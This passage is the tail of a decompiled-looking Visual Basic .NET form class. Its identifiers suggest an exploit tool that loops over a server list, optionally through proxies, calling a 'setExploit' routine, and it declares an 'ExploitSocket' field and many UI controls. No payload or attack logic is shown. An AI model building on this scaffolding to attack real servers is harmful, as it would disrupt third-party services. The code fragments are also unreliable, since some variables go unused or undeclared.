            Dim i As Integer
            For i = 0 To Me.ServerListRichBox.Lines.Length - 1
                Dim str As String = If((Me.HLProxyRichBox.Text.Length > 0), Me.HLProxyRichBox.Lines(index), Nothing)
                Me.setExploit(If(Not String.IsNullOrEmpty(str), str, Me.ServerListRichBox.Lines(i)))
            Next i
            Dim num3 As Integer = (index + 1)
        End Sub


        ' Fields
        Friend asd2 As TextBox
        Friend AuthtypeComboBox As ComboBox
        Friend Button1 As Button
        Friend button2 As Button
        Private button4 As Button
        Private button5 As Button
        Friend button6 As Button
        Friend button7 As Button
        Private button8 As Button
        Private checkBox1 As CheckBox
        Private checkBox10 As CheckBox
        Private checkBox11 As CheckBox
        Private checkBox12 As CheckBox
        Private checkBox13 As CheckBox
        Private checkBox14 As CheckBox
        Private checkBox16 As CheckBox
        Private checkBox17 As CheckBox
        Private checkBox18 As CheckBox
        Private checkBox19 As CheckBox
        Private checkBox2 As CheckBox
        Private checkBox3 As CheckBox
        Private checkBox4 As CheckBox
        Private checkBox5 As CheckBox
        Private checkBox6 As CheckBox
        Private checkBox7 As CheckBox
        Private checkBox8 As CheckBox
        Private checkBox9 As CheckBox
        Friend comboBox1 As ComboBox
        Friend comboBox2 As ComboBox
        Friend comboBox3 As ComboBox
        Private components As IContainer = Nothing
        Private countT As Integer = 0
        Private Data As ExploitSocket = New ExploitSocket
        Private groupBox1 As GroupBox
        Private groupBox2 As GroupBox
        Private groupBox3 As GroupBox
        Private groupBox5 As GroupBox
        Private Shared here As Integer
        Friend HLProxyRichBox As TextBox
        Private Shared holdV As Integer
        Public Const HT_CAPTION As Integer = 2
        Friend Label1 As Label
        Friend label10 As Label
        Friend label11 As Label
        Friend label12 As Label
        Friend label13 As Label
        Friend label14 As Label
        Friend label15 As Label
        Friend label16 As Label
        Friend label17 As Label
        Friend label18 As Label
        Friend label19 As Label
        Friend label2 As Label
        Friend label20 As Label
        Friend label21 As Label
        Friend label3 As Label
        Friend Label4 As Label
        Friend label5 As Label
        Friend Label6 As Label
        Friend Label7 As Label
        Friend Label8 As Label
        Friend label9 As Label
        Private LogRichBox As RichTextBox
        Friend MessageTxtBox As TextBox
        Friend method As ComboBox
        Friend NicknamesRichBox As TextBox
        Friend ProtocolComboBox As ComboBox
        Private Shared random As Random = New Random
        Private runOnce As CheckBox
        Private saveSettings As CheckBox
        Friend ServerListRichBox As TextBox
        Private tabControl1 As TabControl
        Private tabPage1 As TabPage
        Private tabPage2 As TabPage
        Private tabPage3 As TabPage
        Private tabPage4 As TabPage
        Private tabPage5 As TabPage
        Friend textBox1 As TextBox
        Private textBox10 As TextBox
        Friend textBox11 As TextBox
        Friend textBox12 As TextBox
        Friend textBox13 As TextBox
        Friend textBox14 As TextBox
        Friend textBox16 As TextBox
        Friend textBox2 As TextBox
        Friend textBox3 As TextBox
        Friend textBox4 As TextBox
        Friend textBox5 As TextBox
        Friend textBox6 As TextBox
        Friend textBox7 As TextBox
        Friend textBox8 As TextBox
        Friend textBox9 As TextBox
        Private timer1 As Timer
        Private timer2 As Timer
        Public Const WM_NCLBUTTONDOWN As Integer = &HA1
        Public Shared xtext As String
    End Class
End Namespace